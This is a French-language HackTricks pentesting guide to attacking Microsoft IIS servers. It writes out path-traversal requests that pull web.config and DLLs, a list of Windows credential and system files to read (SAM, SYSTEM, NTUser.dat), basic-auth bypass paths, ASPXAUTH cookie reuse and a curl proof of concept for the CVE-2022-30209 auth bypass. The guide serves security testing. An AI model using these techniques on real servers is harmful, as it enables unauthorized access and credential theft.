IIS - Internet Information Services

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Tester les extensions de fichiers exécutables :

  • asp
  • aspx
  • config
  • php

Divulgation de l'adresse IP interne

Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :

nc -v domain.com 80
openssl s_client -connect domain.com:443

Réponse divulguant l'adresse IP interne :

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Exécuter des fichiers .config

Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : Télécharger l'exemple ici

Plus d'informations et de techniques pour exploiter cette vulnérabilité ici

Découverte IIS Bruteforce

Téléchargez la liste que j'ai créée :

Elle a été créée en fusionnant le contenu des listes suivantes :

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.

Traversée de chemin

Fuite de code source

Consultez l'intégralité de l'article ici : https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

note

En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "assemblyIdentity" et "namespaces". Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger.
À partir des Dlls téléchargés, il est également possible de trouver de nouveaux namespaces où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.

Dans les applications .Net MVC, le fichier web.config joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie à travers les balises XML "assemblyIdentity".

Exploration des fichiers binaires

Un exemple d'accès au fichier web.config est montré ci-dessous :

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Cette demande révèle divers paramètres et dépendances, tels que :

  • EntityFramework version
  • AppSettings pour les pages web, la validation des clients et JavaScript
  • System.web configurations pour l'authentification et l'exécution
  • System.webServer paramètres des modules
  • Runtime liaisons d'assemblage pour de nombreuses bibliothèques comme Microsoft.Owin, Newtonsoft.Json, et System.Web.Mvc

Ces paramètres indiquent que certains fichiers, tels que /bin/WebGrease.dll, se trouvent dans le dossier /bin de l'application.

Fichiers du Répertoire Racine

Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.

Espaces de Noms et Web.Config

Les applications MVC définissent également des fichiers web.config supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre web.config :

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Téléchargement de DLLs

La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "WebApplication1" présente dans le répertoire /bin. Suite à cela, une demande de téléchargement de WebApplication1.dll est affichée :

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Cela suggère la présence d'autres DLL essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.

Dans un scénario où une DLL importe un espace de noms appelé WebApplication1.Areas.Minded, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que /area-name/Views/, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête à /Minded/Views/web.config peut révéler des configurations et des espaces de noms qui indiquent la présence d'une autre DLL, WebApplication1.AdditionalFeatures.dll.

Fichiers courants

Depuis ici

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Erreur 404

Si vous voyez une erreur comme celle-ci :

Cela signifie que le serveur n'a pas reçu le bon nom de domaine dans l'en-tête Host.
Pour accéder à la page web, vous pourriez jeter un œil au certificat SSL servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'y est pas, vous devrez peut-être brute forcer les VHosts jusqu'à ce que vous trouviez le bon.

Anciennes vulnérabilités IIS à rechercher

Vulnérabilité/Fonctionnalité du caractère tilde “~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts

Vous pouvez essayer d'énumérer les dossiers et fichiers à l'intérieur de chaque dossier découvert (même si cela nécessite une authentification de base) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est qu'elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension des fichiers.

Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Vous pouvez également utiliser metasploit : use scanner/http/iis_shortname_scanner

Une bonne idée pour trouver le nom final des fichiers découverts est de demander aux LLMs des options comme cela est fait dans le script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Contournement de l'authentification de base

Contourner une authentification de base (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php ou /admin::$INDEX_ALLOCATION/admin.php

Vous pouvez essayer de mélanger cette vulnérabilité et la dernière pour trouver de nouveaux dossiers et contourner l'authentification.

Débogage ASP.NET Trace.AXD activé

ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd.

Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.

Cette information inclut les IP des clients distants, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations sur le code source, et potentiellement même les noms d'utilisateur et mots de passe.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Capture d'écran 2021-03-30 à 13 19 11

ASPXAUTH utilise les informations suivantes :

  • validationKey (chaîne) : clé hexadécimale à utiliser pour la validation de signature.
  • decryptionMethod (chaîne) : (par défaut “AES”).
  • decryptionIV (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
  • decryptionKey (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.

Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l'email de l'utilisateur. Par conséquent, si vous pouvez trouver un site web utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du second serveur dans le premier et usurper l'utilisateur.
Cette attaque a fonctionné dans ce writeup.

Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209)

Rapport complet ici : Un bug dans le code n'a pas correctement vérifié le mot de passe donné par l'utilisateur, donc un attaquant dont le hash du mot de passe correspond à une clé déjà dans le cache pourra se connecter en tant que cet utilisateur.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks